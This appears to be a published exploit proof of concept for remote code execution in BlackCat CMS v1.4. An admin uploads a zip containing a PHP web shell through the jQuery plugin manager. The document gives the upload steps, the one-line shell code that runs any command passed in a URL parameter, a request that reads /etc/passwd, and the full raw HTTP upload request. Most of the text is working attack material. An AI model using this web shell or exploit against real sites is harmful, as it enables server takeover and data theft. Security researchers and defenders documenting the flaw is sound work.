Exploit Title: Blackcat Cms v1.4 - Remote Code Execution (RCE) Application: blackcat Cms Version: v1.4 Bugs: RCE Technology: PHP Vendor URL: https://blackcat-cms.org/ Software Link: https://github.com/BlackCatDevelopment/BlackCatCMS Date of found: 13.07.2023 Author: Mirabbas Ağalarov Tested on: Linux 2. Technical Details & POC ======================================== steps: 1. login to account as admin 2. go to admin-tools => jquery plugin (http://localhost/BlackCatCMS-1.4/upload/backend/admintools/tool.php?tool=jquery_plugin_mgr) 3. upload zip file but this zip file must contains poc.php poc.php file contents <?php $a=$_GET['code']; echo system($a);?> 4.Go to http://localhost/BlackCatCMS-1.4/upload/modules/lib_jquery/plugins/poc/poc.php?code=cat%20/etc/passwd Poc request POST /BlackCatCMS-1.4/upload/backend/admintools/tool.php?tool=jquery_plugin_mgr HTTP/1.1 Host: localhost Content-Length: 577 Cache-Control: max-age=0 sec-ch-ua: sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBRByJwW3CUSHOcBT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/BlackCatCMS-1.4/upload/backend/admintools/tool.php?tool=jquery_plugin_mgr Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: cat7288sessionid=7uv7f4kj7hm9q6jnd6m9luq0ti Connection: close ------WebKitFormBoundaryBRByJwW3CUSHOcBT Content-Disposition: form-data; name="upload" 1 ------WebKitFormBoundaryBRByJwW3CUSHOcBT Content-Disposition: form-data; name="userfile"; filename="poc.zip" Content-Type: application/zip PKvalsdalsfapoc.php<?php $a=$_GET['code']; echo system($a); ?> blabalaboalpoc.php blablabla ------WebKitFormBoundaryBRByJwW3CUSHOcBT Content-Disposition: form-data; name="submit" Upload ------WebKitFormBoundaryBRByJwW3CUSHOcBT--